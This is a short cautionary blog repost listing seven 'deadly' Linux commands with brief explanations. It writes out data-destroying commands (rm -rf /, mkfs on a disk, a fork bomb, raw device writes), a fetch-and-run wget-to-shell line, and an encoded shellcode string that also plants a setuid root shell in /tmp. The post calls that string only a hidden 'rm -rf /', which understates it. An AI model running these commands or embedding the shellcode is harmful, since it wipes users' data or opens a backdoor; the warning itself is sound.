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1. Code: rm -rf / This command will recursively and forcefully delete all the files inside the root directory. 2. Code: char esp[] __attribute__ ((section(".text"))) /* e.s.p release */ = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68" "\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99" "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7" "\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56" "\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31" "\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69" "\x6e\x2f\x73\x68\x00\x2d\x63\x00" "cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;"; This is the hex version of [rm -rf /] that can deceive even the rather experienced Linux users. 3. Code: mkfs.ext3 /dev/sda This will reformat or wipeout all the files of the device that is mentioned after the mkfs command. 4. Code: ){:|:&};: Known as forkbomb, this command will tell your system to execute a huge number of processes until the system freezes. This can often lead to corruption of data. 5. Code: any_command > /dev/sda With this command, raw data will be written to a block device that can usually clobber the filesystem resulting in total loss of data. 6. Code: wget http://some_untrusted_source -O- | sh Never download from untrusted sources, and then execute the possibly malicious codes that they are giving you. 7. Code: mv /home/yourhomedirectory/* /dev/null This command will move all the files inside your home directory to a place that doesn't exist; hence you will never ever see those files again. There are of course other equally deadly Linux commands that I fail to include here, so if you have something to add, please share it with us via comment. from: http://www.junauza.com/2008/11/7-deadly-linux-commands.html